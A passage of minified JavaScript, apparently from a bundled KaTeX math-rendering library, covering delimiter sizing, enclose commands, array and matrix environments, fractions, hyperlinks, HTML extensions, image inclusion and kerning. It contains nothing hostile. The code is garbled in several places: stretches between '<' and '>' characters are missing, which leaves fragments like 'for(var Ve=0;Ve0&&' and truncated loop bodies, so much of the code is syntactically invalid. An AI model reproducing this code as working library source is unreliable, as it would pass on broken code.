here.")},"delimTypeToFont"),wU=o(function(e,r,n,i){for(var a=Math.min(2,3-i.style.size),s=a;sr)return n[s]}return n[n.length-1]},"traverseSequence"),kU=o(function(e,r,n,i,a,s){e==="<"||e==="\\lt"||e==="\u27E8"?e="\\langle":(e===">"||e==="\\gt"||e==="\u27E9")&&(e="\\rangle");var l;er.contains(bU,e)?l=mwe:er.contains(xU,e)?l=TU:l=gwe;var u=wU(e,r,l,i);return u.type==="small"?lwe(e,u.style,n,i,a,s):u.type==="large"?yU(e,u.size,n,i,a,s):vU(e,r,n,i,a,s)},"makeCustomSizedDelim"),vwe=o(function(e,r,n,i,a,s){var l=i.fontMetrics().axisHeight*i.sizeMultiplier,u=901,h=5/i.fontMetrics().ptPerEm,f=Math.max(r-l,n+l),d=Math.max(f/500*u,2*f-h);return kU(e,d,!0,i,a,s)},"makeLeftRightDelim"),fu={sqrtImage:fwe,sizedDelim:pwe,sizeToMaxHeight:Yy,customSizedDelim:kU,leftRightDelim:vwe},AV={"\\bigl":{mclass:"mopen",size:1},"\\Bigl":{mclass:"mopen",size:2},"\\biggl":{mclass:"mopen",size:3},"\\Biggl":{mclass:"mopen",size:4},"\\bigr":{mclass:"mclose",size:1},"\\Bigr":{mclass:"mclose",size:2},"\\biggr":{mclass:"mclose",size:3},"\\Biggr":{mclass:"mclose",size:4},"\\bigm":{mclass:"mrel",size:1},"\\Bigm":{mclass:"mrel",size:2},"\\biggm":{mclass:"mrel",size:3},"\\Biggm":{mclass:"mrel",size:4},"\\big":{mclass:"mord",size:1},"\\Big":{mclass:"mord",size:2},"\\bigg":{mclass:"mord",size:3},"\\Bigg":{mclass:"mord",size:4}},xwe=["(","\\lparen",")","\\rparen","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\u230A","\u230B","\\lceil","\\rceil","\u2308","\u2309","<",">","\\langle","\u27E8","\\rangle","\u27E9","\\lt","\\gt","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\u27EE","\u27EF","\\lmoustache","\\rmoustache","\u23B0","\u23B1","/","\\backslash","|","\\vert","\\|","\\Vert","\\uparrow","\\Uparrow","\\downarrow","\\Downarrow","\\updownarrow","\\Updownarrow","."];o(R3,"checkDelimiter");Mt({type:"delimsizing",names:["\\bigl","\\Bigl","\\biggl","\\Biggl","\\bigr","\\Bigr","\\biggr","\\Biggr","\\bigm","\\Bigm","\\biggm","\\Biggm","\\big","\\Big","\\bigg","\\Bigg"],props:{numArgs:1,argTypes:["primitive"]},handler:o((t,e)=>{var r=R3(e[0],t);return{type:"delimsizing",mode:t.parser.mode,size:AV[t.funcName].size,mclass:AV[t.funcName].mclass,delim:r.text}},"handler"),htmlBuilder:o((t,e)=>t.delim==="."?$e.makeSpan([t.mclass]):fu.sizedDelim(t.delim,t.size,e,t.mode,[t.mclass]),"htmlBuilder"),mathmlBuilder:o(t=>{var e=[];t.delim!=="."&&e.push(Lo(t.delim,t.mode));var r=new mt.MathNode("mo",e);t.mclass==="mopen"||t.mclass==="mclose"?r.setAttribute("fence","true"):r.setAttribute("fence","false"),r.setAttribute("stretchy","true");var n=St(fu.sizeToMaxHeight[t.size]);return r.setAttribute("minsize",n),r.setAttribute("maxsize",n),r},"mathmlBuilder")});o(_V,"assertParsed");Mt({type:"leftright-right",names:["\\right"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var r=t.parser.gullet.macros.get("\\current@color");if(r&&typeof r!="string")throw new gt("\\current@color set to non-string in \\right");return{type:"leftright-right",mode:t.parser.mode,delim:R3(e[0],t).text,color:r}},"handler")});Mt({type:"leftright",names:["\\left"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var r=R3(e[0],t),n=t.parser;++n.leftrightDepth;var i=n.parseExpression(!1);--n.leftrightDepth,n.expect("\\right",!1);var a=Tr(n.parseFunction(),"leftright-right");return{type:"leftright",mode:n.mode,body:i,left:r.text,right:a.delim,rightColor:a.color}},"handler"),htmlBuilder:o((t,e)=>{_V(t);for(var r=Ii(t.body,e,!0,["mopen","mclose"]),n=0,i=0,a=!1,s=0;s{_V(t);var r=As(t.body,e);if(t.left!=="."){var n=new mt.MathNode("mo",[Lo(t.left,t.mode)]);n.setAttribute("fence","true"),r.unshift(n)}if(t.right!=="."){var i=new mt.MathNode("mo",[Lo(t.right,t.mode)]);i.setAttribute("fence","true"),t.rightColor&&i.setAttribute("mathcolor",t.rightColor),r.push(i)}return uA(r)},"mathmlBuilder")});Mt({type:"middle",names:["\\middle"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var r=R3(e[0],t);if(!t.parser.leftrightDepth)throw new gt("\\middle without preceding \\left",r);return{type:"middle",mode:t.parser.mode,delim:r.text}},"handler"),htmlBuilder:o((t,e)=>{var r;if(t.delim===".")r=Zy(e,[]);else{r=fu.sizedDelim(t.delim,1,e,t.mode,[]);var n={delim:t.delim,options:e};r.isMiddle=n}return r},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=t.delim==="\\vert"||t.delim==="|"?Lo("|","text"):Lo(t.delim,t.mode),n=new mt.MathNode("mo",[r]);return n.setAttribute("fence","true"),n.setAttribute("lspace","0.05em"),n.setAttribute("rspace","0.05em"),n},"mathmlBuilder")});mA=o((t,e)=>{var r=$e.wrapFragment(Hr(t.body,e),e),n=t.label.slice(1),i=e.sizeMultiplier,a,s=0,l=er.isCharacterBox(t.body);if(n==="sout")a=$e.makeSpan(["stretchy","sout"]),a.height=e.fontMetrics().defaultRuleThickness/i,s=-.5*e.fontMetrics().xHeight;else if(n==="phase"){var u=ii({number:.6,unit:"pt"},e),h=ii({number:.35,unit:"ex"},e),f=e.havingBaseSizing();i=i/f.sizeMultiplier;var d=r.height+r.depth+u+h;r.style.paddingLeft=St(d/2+u);var p=Math.floor(1e3*d*i),m=pTe(p),g=new dl([new Zl("phase",m)],{width:"400em",height:St(p/1e3),viewBox:"0 0 400000 "+p,preserveAspectRatio:"xMinYMin slice"});a=$e.makeSvgSpan(["hide-tail"],[g],e),a.style.height=St(d),s=r.depth+u+h}else{/cancel/.test(n)?l||r.classes.push("cancel-pad"):n==="angl"?r.classes.push("anglpad"):r.classes.push("boxpad");var y=0,v=0,x=0;/box/.test(n)?(x=Math.max(e.fontMetrics().fboxrule,e.minRuleThickness),y=e.fontMetrics().fboxsep+(n==="colorbox"?0:x),v=y):n==="angl"?(x=Math.max(e.fontMetrics().defaultRuleThickness,e.minRuleThickness),y=4*x,v=Math.max(0,.25-r.depth)):(y=l?.2:0,v=y),a=pu.encloseSpan(r,n,y,v,e),/fbox|boxed|fcolorbox/.test(n)?(a.style.borderStyle="solid",a.style.borderWidth=St(x)):n==="angl"&&x!==.049&&(a.style.borderTopWidth=St(x),a.style.borderRightWidth=St(x)),s=r.depth+v,t.backgroundColor&&(a.style.backgroundColor=t.backgroundColor,t.borderColor&&(a.style.borderColor=t.borderColor))}var b;if(t.backgroundColor)b=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:a,shift:s},{type:"elem",elem:r,shift:0}]},e);else{var T=/cancel|phase/.test(n)?["svg-align"]:[];b=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:r,shift:0},{type:"elem",elem:a,shift:s,wrapperClasses:T}]},e)}return/cancel/.test(n)&&(b.height=r.height,b.depth=r.depth),/cancel/.test(n)&&!l?$e.makeSpan(["mord","cancel-lap"],[b],e):$e.makeSpan(["mord"],[b],e)},"htmlBuilder$7"),gA=o((t,e)=>{var r=0,n=new mt.MathNode(t.label.indexOf("colorbox")>-1?"mpadded":"menclose",[wn(t.body,e)]);switch(t.label){case"\\cancel":n.setAttribute("notation","updiagonalstrike");break;case"\\bcancel":n.setAttribute("notation","downdiagonalstrike");break;case"\\phase":n.setAttribute("notation","phasorangle");break;case"\\sout":n.setAttribute("notation","horizontalstrike");break;case"\\fbox":n.setAttribute("notation","box");break;case"\\angl":n.setAttribute("notation","actuarial");break;case"\\fcolorbox":case"\\colorbox":if(r=e.fontMetrics().fboxsep*e.fontMetrics().ptPerEm,n.setAttribute("width","+"+2*r+"pt"),n.setAttribute("height","+"+2*r+"pt"),n.setAttribute("lspace",r+"pt"),n.setAttribute("voffset",r+"pt"),t.label==="\\fcolorbox"){var i=Math.max(e.fontMetrics().fboxrule,e.minRuleThickness);n.setAttribute("style","border: "+i+"em solid "+String(t.borderColor))}break;case"\\xcancel":n.setAttribute("notation","updiagonalstrike downdiagonalstrike");break}return t.backgroundColor&&n.setAttribute("mathbackground",t.backgroundColor),n},"mathmlBuilder$6");Mt({type:"enclose",names:["\\colorbox"],props:{numArgs:2,allowedInText:!0,argTypes:["color","text"]},handler(t,e,r){var{parser:n,funcName:i}=t,a=Tr(e[0],"color-token").color,s=e[1];return{type:"enclose",mode:n.mode,label:i,backgroundColor:a,body:s}},htmlBuilder:mA,mathmlBuilder:gA});Mt({type:"enclose",names:["\\fcolorbox"],props:{numArgs:3,allowedInText:!0,argTypes:["color","color","text"]},handler(t,e,r){var{parser:n,funcName:i}=t,a=Tr(e[0],"color-token").color,s=Tr(e[1],"color-token").color,l=e[2];return{type:"enclose",mode:n.mode,label:i,backgroundColor:s,borderColor:a,body:l}},htmlBuilder:mA,mathmlBuilder:gA});Mt({type:"enclose",names:["\\fbox"],props:{numArgs:1,argTypes:["hbox"],allowedInText:!0},handler(t,e){var{parser:r}=t;return{type:"enclose",mode:r.mode,label:"\\fbox",body:e[0]}}});Mt({type:"enclose",names:["\\cancel","\\bcancel","\\xcancel","\\sout","\\phase"],props:{numArgs:1},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];return{type:"enclose",mode:r.mode,label:n,body:i}},htmlBuilder:mA,mathmlBuilder:gA});Mt({type:"enclose",names:["\\angl"],props:{numArgs:1,argTypes:["hbox"],allowedInText:!1},handler(t,e){var{parser:r}=t;return{type:"enclose",mode:r.mode,label:"\\angl",body:e[0]}}});EU={};o(Jl,"defineEnvironment");SU={};o(ce,"defineMacro");o(DV,"getHLines");N3=o(t=>{var e=t.parser.settings;if(!e.displayMode)throw new gt("{"+t.envName+"} can be used only in display mode.")},"validateAmsEnvironmentContext");o(yA,"getAutoTag");o(wh,"parseArray");o(vA,"dCellStyle");ec=o(function(e,r){var n,i,a=e.body.length,s=e.hLinesBeforeRow,l=0,u=new Array(a),h=[],f=Math.max(r.fontMetrics().arrayRuleWidth,r.minRuleThickness),d=1/r.fontMetrics().ptPerEm,p=5*d;if(e.colSeparationType&&e.colSeparationType==="small"){var m=r.havingStyle(nr.SCRIPT).sizeMultiplier;p=.2778*(m/r.sizeMultiplier)}var g=e.colSeparationType==="CD"?ii({number:3,unit:"ex"},r):12*d,y=3*d,v=e.arraystretch*g,x=.7*v,b=.3*v,T=0;function S(q){for(var Ve=0;Ve0&&(T+=.25),h.push({pos:T,isDashed:q[Ve]})}for(o(S,"setHLinePos"),S(s[0]),n=0;n0&&(L+=b,Aq))for(n=0;n=l)){var J=void 0;(i>0||e.hskipBeforeAndAfter)&&(J=er.deflt(U.pregap,p),J!==0&&(O=$e.makeSpan(["arraycolsep"],[]),O.style.width=St(J),_.push(O)));var ue=[];for(n=0;n0){for(var K=$e.makeLineSpan("hline",r,f),ae=$e.makeLineSpan("hdashline",r,f),Q=[{type:"elem",elem:u,shift:0}];h.length>0;){var de=h.pop(),ne=de.pos-E;de.isDashed?Q.push({type:"elem",elem:ae,shift:ne}):Q.push({type:"elem",elem:K,shift:ne})}u=$e.makeVList({positionType:"individualShift",children:Q},r)}if(P.length===0)return $e.makeSpan(["mord"],[u],r);var Te=$e.makeVList({positionType:"individualShift",children:P},r);return Te=$e.makeSpan(["tag"],[Te],r),$e.makeFragment([u,Te])},"htmlBuilder"),bwe={c:"center ",l:"left ",r:"right "},tc=o(function(e,r){for(var n=[],i=new mt.MathNode("mtd",[],["mtr-glue"]),a=new mt.MathNode("mtd",[],["mml-eqn-num"]),s=0;s0){var g=e.cols,y="",v=!1,x=0,b=g.length;g[0].type==="separator"&&(p+="top ",x=1),g[g.length-1].type==="separator"&&(p+="bottom ",b-=1);for(var T=x;T0?"left ":"",p+=C[C.length-1].length>0?"right ":"";for(var R=1;R-1?"alignat":"align",a=e.envName==="split",s=wh(e.parser,{cols:n,addJot:!0,autoTag:a?void 0:yA(e.envName),emptySingleRow:!0,colSeparationType:i,maxNumCols:a?2:void 0,leqno:e.parser.settings.leqno},"display"),l,u=0,h={type:"ordgroup",mode:e.mode,body:[]};if(r[0]&&r[0].type==="ordgroup"){for(var f="",d=0;d0&&m&&(v=1),n[g]={type:"align",align:y,pregap:v,postgap:0}}return s.colSeparationType=m?"align":"alignat",s},"alignedHandler");Jl({type:"array",names:["array","darray"],props:{numArgs:1},handler(t,e){var r=D3(e[0]),n=r?[e[0]]:Tr(e[0],"ordgroup").body,i=n.map(function(s){var l=fA(s),u=l.text;if("lcr".indexOf(u)!==-1)return{type:"align",align:u};if(u==="|")return{type:"separator",separator:"|"};if(u===":")return{type:"separator",separator:":"};throw new gt("Unknown column alignment: "+u,s)}),a={cols:i,hskipBeforeAndAfter:!0,maxNumCols:i.length};return wh(t.parser,a,vA(t.envName))},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["matrix","pmatrix","bmatrix","Bmatrix","vmatrix","Vmatrix","matrix*","pmatrix*","bmatrix*","Bmatrix*","vmatrix*","Vmatrix*"],props:{numArgs:0},handler(t){var e={matrix:null,pmatrix:["(",")"],bmatrix:["[","]"],Bmatrix:["\\{","\\}"],vmatrix:["|","|"],Vmatrix:["\\Vert","\\Vert"]}[t.envName.replace("*","")],r="c",n={hskipBeforeAndAfter:!1,cols:[{type:"align",align:r}]};if(t.envName.charAt(t.envName.length-1)==="*"){var i=t.parser;if(i.consumeSpaces(),i.fetch().text==="["){if(i.consume(),i.consumeSpaces(),r=i.fetch().text,"lcr".indexOf(r)===-1)throw new gt("Expected l or c or r",i.nextToken);i.consume(),i.consumeSpaces(),i.expect("]"),i.consume(),n.cols=[{type:"align",align:r}]}}var a=wh(t.parser,n,vA(t.envName)),s=Math.max(0,...a.body.map(l=>l.length));return a.cols=new Array(s).fill({type:"align",align:r}),e?{type:"leftright",mode:t.mode,body:[a],left:e[0],right:e[1],rightColor:void 0}:a},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["smallmatrix"],props:{numArgs:0},handler(t){var e={arraystretch:.5},r=wh(t.parser,e,"script");return r.colSeparationType="small",r},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["subarray"],props:{numArgs:1},handler(t,e){var r=D3(e[0]),n=r?[e[0]]:Tr(e[0],"ordgroup").body,i=n.map(function(s){var l=fA(s),u=l.text;if("lc".indexOf(u)!==-1)return{type:"align",align:u};throw new gt("Unknown column alignment: "+u,s)});if(i.length>1)throw new gt("{subarray} can contain only one column");var a={cols:i,hskipBeforeAndAfter:!1,arraystretch:.5};if(a=wh(t.parser,a,"script"),a.body.length>0&&a.body[0].length>1)throw new gt("{subarray} can contain only one column");return a},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["cases","dcases","rcases","drcases"],props:{numArgs:0},handler(t){var e={arraystretch:1.2,cols:[{type:"align",align:"l",pregap:0,postgap:1},{type:"align",align:"l",pregap:0,postgap:0}]},r=wh(t.parser,e,vA(t.envName));return{type:"leftright",mode:t.mode,body:[r],left:t.envName.indexOf("r")>-1?".":"\\{",right:t.envName.indexOf("r")>-1?"\\}":".",rightColor:void 0}},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["align","align*","aligned","split"],props:{numArgs:0},handler:CU,htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["gathered","gather","gather*"],props:{numArgs:0},handler(t){er.contains(["gather","gather*"],t.envName)&&N3(t);var e={cols:[{type:"align",align:"c"}],addJot:!0,colSeparationType:"gather",autoTag:yA(t.envName),emptySingleRow:!0,leqno:t.parser.settings.leqno};return wh(t.parser,e,"display")},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["alignat","alignat*","alignedat"],props:{numArgs:1},handler:CU,htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["equation","equation*"],props:{numArgs:0},handler(t){N3(t);var e={autoTag:yA(t.envName),emptySingleRow:!0,singleRow:!0,maxNumCols:1,leqno:t.parser.settings.leqno};return wh(t.parser,e,"display")},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["CD"],props:{numArgs:0},handler(t){return N3(t),swe(t.parser)},htmlBuilder:ec,mathmlBuilder:tc});ce("\\nonumber","\\gdef\\@eqnsw{0}");ce("\\notag","\\nonumber");Mt({type:"text",names:["\\hline","\\hdashline"],props:{numArgs:0,allowedInText:!0,allowedInMath:!0},handler(t,e){throw new gt(t.funcName+" valid only within array environment")}});LV=EU;Mt({type:"environment",names:["\\begin","\\end"],props:{numArgs:1,argTypes:["text"]},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];if(i.type!=="ordgroup")throw new gt("Invalid environment name",i);for(var a="",s=0;s{var r=t.font,n=e.withFont(r);return Hr(t.body,n)},"htmlBuilder$5"),_U=o((t,e)=>{var r=t.font,n=e.withFont(r);return wn(t.body,n)},"mathmlBuilder$4"),RV={"\\Bbb":"\\mathbb","\\bold":"\\mathbf","\\frak":"\\mathfrak","\\bm":"\\boldsymbol"};Mt({type:"font",names:["\\mathrm","\\mathit","\\mathbf","\\mathnormal","\\mathsfit","\\mathbb","\\mathcal","\\mathfrak","\\mathscr","\\mathsf","\\mathtt","\\Bbb","\\bold","\\frak"],props:{numArgs:1,allowedInArgument:!0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=E3(e[0]),a=n;return a in RV&&(a=RV[a]),{type:"font",mode:r.mode,font:a.slice(1),body:i}},"handler"),htmlBuilder:AU,mathmlBuilder:_U});Mt({type:"mclass",names:["\\boldsymbol","\\bm"],props:{numArgs:1},handler:o((t,e)=>{var{parser:r}=t,n=e[0],i=er.isCharacterBox(n);return{type:"mclass",mode:r.mode,mclass:L3(n),body:[{type:"font",mode:r.mode,font:"boldsymbol",body:n}],isCharacterBox:i}},"handler")});Mt({type:"font",names:["\\rm","\\sf","\\tt","\\bf","\\it","\\cal"],props:{numArgs:0,allowedInText:!0},handler:o((t,e)=>{var{parser:r,funcName:n,breakOnTokenText:i}=t,{mode:a}=r,s=r.parseExpression(!0,i),l="math"+n.slice(1);return{type:"font",mode:a,font:l,body:{type:"ordgroup",mode:r.mode,body:s}}},"handler"),htmlBuilder:AU,mathmlBuilder:_U});DU=o((t,e)=>{var r=e;return t==="display"?r=r.id>=nr.SCRIPT.id?r.text():nr.DISPLAY:t==="text"&&r.size===nr.DISPLAY.size?r=nr.TEXT:t==="script"?r=nr.SCRIPT:t==="scriptscript"&&(r=nr.SCRIPTSCRIPT),r},"adjustStyle"),xA=o((t,e)=>{var r=DU(t.size,e.style),n=r.fracNum(),i=r.fracDen(),a;a=e.havingStyle(n);var s=Hr(t.numer,a,e);if(t.continued){var l=8.5/e.fontMetrics().ptPerEm,u=3.5/e.fontMetrics().ptPerEm;s.height=s.height0?g=3*p:g=7*p,y=e.fontMetrics().denom1):(d>0?(m=e.fontMetrics().num2,g=p):(m=e.fontMetrics().num3,g=3*p),y=e.fontMetrics().denom2);var v;if(f){var b=e.fontMetrics().axisHeight;m-s.depth-(b+.5*d){var r=new mt.MathNode("mfrac",[wn(t.numer,e),wn(t.denom,e)]);if(!t.hasBarLine)r.setAttribute("linethickness","0px");else if(t.barSize){var n=ii(t.barSize,e);r.setAttribute("linethickness",St(n))}var i=DU(t.size,e.style);if(i.size!==e.style.size){r=new mt.MathNode("mstyle",[r]);var a=i.size===nr.DISPLAY.size?"true":"false";r.setAttribute("displaystyle",a),r.setAttribute("scriptlevel","0")}if(t.leftDelim!=null||t.rightDelim!=null){var s=[];if(t.leftDelim!=null){var l=new mt.MathNode("mo",[new mt.TextNode(t.leftDelim.replace("\\",""))]);l.setAttribute("fence","true"),s.push(l)}if(s.push(r),t.rightDelim!=null){var u=new mt.MathNode("mo",[new mt.TextNode(t.rightDelim.replace("\\",""))]);u.setAttribute("fence","true"),s.push(u)}return uA(s)}return r},"mathmlBuilder$3");Mt({type:"genfrac",names:["\\dfrac","\\frac","\\tfrac","\\dbinom","\\binom","\\tbinom","\\\\atopfrac","\\\\bracefrac","\\\\brackfrac"],props:{numArgs:2,allowedInArgument:!0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0],a=e[1],s,l=null,u=null,h="auto";switch(n){case"\\dfrac":case"\\frac":case"\\tfrac":s=!0;break;case"\\\\atopfrac":s=!1;break;case"\\dbinom":case"\\binom":case"\\tbinom":s=!1,l="(",u=")";break;case"\\\\bracefrac":s=!1,l="\\{",u="\\}";break;case"\\\\brackfrac":s=!1,l="[",u="]";break;default:throw new Error("Unrecognized genfrac command")}switch(n){case"\\dfrac":case"\\dbinom":h="display";break;case"\\tfrac":case"\\tbinom":h="text";break}return{type:"genfrac",mode:r.mode,continued:!1,numer:i,denom:a,hasBarLine:s,leftDelim:l,rightDelim:u,size:h,barSize:null}},"handler"),htmlBuilder:xA,mathmlBuilder:bA});Mt({type:"genfrac",names:["\\cfrac"],props:{numArgs:2},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0],a=e[1];return{type:"genfrac",mode:r.mode,continued:!0,numer:i,denom:a,hasBarLine:!0,leftDelim:null,rightDelim:null,size:"display",barSize:null}},"handler")});Mt({type:"infix",names:["\\over","\\choose","\\atop","\\brace","\\brack"],props:{numArgs:0,infix:!0},handler(t){var{parser:e,funcName:r,token:n}=t,i;switch(r){case"\\over":i="\\frac";break;case"\\choose":i="\\binom";break;case"\\atop":i="\\\\atopfrac";break;case"\\brace":i="\\\\bracefrac";break;case"\\brack":i="\\\\brackfrac";break;default:throw new Error("Unrecognized infix genfrac command")}return{type:"infix",mode:e.mode,replaceWith:i,token:n}}});NV=["display","text","script","scriptscript"],MV=o(function(e){var r=null;return e.length>0&&(r=e,r=r==="."?null:r),r},"delimFromValue");Mt({type:"genfrac",names:["\\genfrac"],props:{numArgs:6,allowedInArgument:!0,argTypes:["math","math","size","text","math","math"]},handler(t,e){var{parser:r}=t,n=e[4],i=e[5],a=E3(e[0]),s=a.type==="atom"&&a.family==="open"?MV(a.text):null,l=E3(e[1]),u=l.type==="atom"&&l.family==="close"?MV(l.text):null,h=Tr(e[2],"size"),f,d=null;h.isBlank?f=!0:(d=h.value,f=d.number>0);var p="auto",m=e[3];if(m.type==="ordgroup"){if(m.body.length>0){var g=Tr(m.body[0],"textord");p=NV[Number(g.text)]}}else m=Tr(m,"textord"),p=NV[Number(m.text)];return{type:"genfrac",mode:r.mode,numer:n,denom:i,continued:!1,hasBarLine:f,barSize:d,leftDelim:s,rightDelim:u,size:p}},htmlBuilder:xA,mathmlBuilder:bA});Mt({type:"infix",names:["\\above"],props:{numArgs:1,argTypes:["size"],infix:!0},handler(t,e){var{parser:r,funcName:n,token:i}=t;return{type:"infix",mode:r.mode,replaceWith:"\\\\abovefrac",size:Tr(e[0],"size").value,token:i}}});Mt({type:"genfrac",names:["\\\\abovefrac"],props:{numArgs:3,argTypes:["math","size","math"]},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0],a=J5e(Tr(e[1],"infix").size),s=e[2],l=a.number>0;return{type:"genfrac",mode:r.mode,numer:i,denom:s,continued:!1,hasBarLine:l,barSize:a,leftDelim:null,rightDelim:null,size:"auto"}},"handler"),htmlBuilder:xA,mathmlBuilder:bA});LU=o((t,e)=>{var r=e.style,n,i;t.type==="supsub"?(n=t.sup?Hr(t.sup,e.havingStyle(r.sup()),e):Hr(t.sub,e.havingStyle(r.sub()),e),i=Tr(t.base,"horizBrace")):i=Tr(t,"horizBrace");var a=Hr(i.base,e.havingBaseStyle(nr.DISPLAY)),s=pu.svgSpan(i,e),l;if(i.isOver?(l=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:a},{type:"kern",size:.1},{type:"elem",elem:s}]},e),l.children[0].children[0].children[1].classes.push("svg-align")):(l=$e.makeVList({positionType:"bottom",positionData:a.depth+.1+s.height,children:[{type:"elem",elem:s},{type:"kern",size:.1},{type:"elem",elem:a}]},e),l.children[0].children[0].children[0].classes.push("svg-align")),n){var u=$e.makeSpan(["mord",i.isOver?"mover":"munder"],[l],e);i.isOver?l=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:u},{type:"kern",size:.2},{type:"elem",elem:n}]},e):l=$e.makeVList({positionType:"bottom",positionData:u.depth+.2+n.height+n.depth,children:[{type:"elem",elem:n},{type:"kern",size:.2},{type:"elem",elem:u}]},e)}return $e.makeSpan(["mord",i.isOver?"mover":"munder"],[l],e)},"htmlBuilder$3"),Twe=o((t,e)=>{var r=pu.mathMLnode(t.label);return new mt.MathNode(t.isOver?"mover":"munder",[wn(t.base,e),r])},"mathmlBuilder$2");Mt({type:"horizBrace",names:["\\overbrace","\\underbrace"],props:{numArgs:1},handler(t,e){var{parser:r,funcName:n}=t;return{type:"horizBrace",mode:r.mode,label:n,isOver:/^\\over/.test(n),base:e[0]}},htmlBuilder:LU,mathmlBuilder:Twe});Mt({type:"href",names:["\\href"],props:{numArgs:2,argTypes:["url","original"],allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[1],i=Tr(e[0],"url").url;return r.settings.isTrusted({command:"\\href",url:i})?{type:"href",mode:r.mode,href:i,body:gi(n)}:r.formatUnsupportedCmd("\\href")},"handler"),htmlBuilder:o((t,e)=>{var r=Ii(t.body,e,!1);return $e.makeAnchor(t.href,[],r,e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=Th(t.body,e);return r instanceof es||(r=new es("mrow",[r])),r.setAttribute("href",t.href),r},"mathmlBuilder")});Mt({type:"href",names:["\\url"],props:{numArgs:1,argTypes:["url"],allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=Tr(e[0],"url").url;if(!r.settings.isTrusted({command:"\\url",url:n}))return r.formatUnsupportedCmd("\\url");for(var i=[],a=0;a{var{parser:r,funcName:n,token:i}=t,a=Tr(e[0],"raw").string,s=e[1];r.settings.strict&&r.settings.reportNonstrict("htmlExtension","HTML extension is disabled on strict mode");var l,u={};switch(n){case"\\htmlClass":u.class=a,l={command:"\\htmlClass",class:a};break;case"\\htmlId":u.id=a,l={command:"\\htmlId",id:a};break;case"\\htmlStyle":u.style=a,l={command:"\\htmlStyle",style:a};break;case"\\htmlData":{for(var h=a.split(","),f=0;f{var r=Ii(t.body,e,!1),n=["enclosing"];t.attributes.class&&n.push(...t.attributes.class.trim().split(/\s+/));var i=$e.makeSpan(n,r,e);for(var a in t.attributes)a!=="class"&&t.attributes.hasOwnProperty(a)&&i.setAttribute(a,t.attributes[a]);return i},"htmlBuilder"),mathmlBuilder:o((t,e)=>Th(t.body,e),"mathmlBuilder")});Mt({type:"htmlmathml",names:["\\html@mathml"],props:{numArgs:2,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t;return{type:"htmlmathml",mode:r.mode,html:gi(e[0]),mathml:gi(e[1])}},"handler"),htmlBuilder:o((t,e)=>{var r=Ii(t.html,e,!1);return $e.makeFragment(r)},"htmlBuilder"),mathmlBuilder:o((t,e)=>Th(t.mathml,e),"mathmlBuilder")});q7=o(function(e){if(/^[-+]? *(\d+(\.\d*)?|\.\d+)$/.test(e))return{number:+e,unit:"bp"};var r=/([-+]?) *(\d+(?:\.\d*)?|\.\d+) *([a-z]{2})/.exec(e);if(!r)throw new gt("Invalid size: '"+e+"' in \\includegraphics");var n={number:+(r[1]+r[2]),unit:r[3]};if(!jV(n))throw new gt("Invalid unit: '"+n.unit+"' in \\includegraphics.");return n},"sizeData");Mt({type:"includegraphics",names:["\\includegraphics"],props:{numArgs:1,numOptionalArgs:1,argTypes:["raw","url"],allowedInText:!1},handler:o((t,e,r)=>{var{parser:n}=t,i={number:0,unit:"em"},a={number:.9,unit:"em"},s={number:0,unit:"em"},l="";if(r[0])for(var u=Tr(r[0],"raw").string,h=u.split(","),f=0;f{var r=ii(t.height,e),n=0;t.totalheight.number>0&&(n=ii(t.totalheight,e)-r);var i=0;t.width.number>0&&(i=ii(t.width,e));var a={height:St(r+n)};i>0&&(a.width=St(i)),n>0&&(a.verticalAlign=St(-n));var s=new Q7(t.src,t.alt,a);return s.height=r,s.depth=n,s},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=new mt.MathNode("mglyph",[]);r.setAttribute("alt",t.alt);var n=ii(t.height,e),i=0;if(t.totalheight.number>0&&(i=ii(t.totalheight,e)-n,r.setAttribute("valign",St(-i))),r.setAttribute("height",St(n+i)),t.width.number>0){var a=ii(t.width,e);r.setAttribute("width",St(a))}return r.setAttribute("src",t.src),r},"mathmlBuilder")});Mt({type:"kern",names:["\\kern","\\mkern","\\hskip","\\mskip"],props:{numArgs:1,argTypes:["size"],primitive:!0,allowedInText:!0},handler(t,e){var{parser:r,funcName:n}=t,i=Tr(e[0],"size");if(r.settings.strict){var a=n[1]==="m",s=i.value.unit==="mu";a?(s||r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" supports only mu units, "+("not "+i.value.unit+" units")),r.mode!=="math"&&r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" works only in math mode")):s&&r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" doesn't support mu units")}return{type:"kern",mode:r.mode,dimension:i.value}},htmlBuilder(t,e){return $e.makeGlue(t.dimension,e)},mathmlBuilder(t,e){var r=ii(t.dimension,e);return new 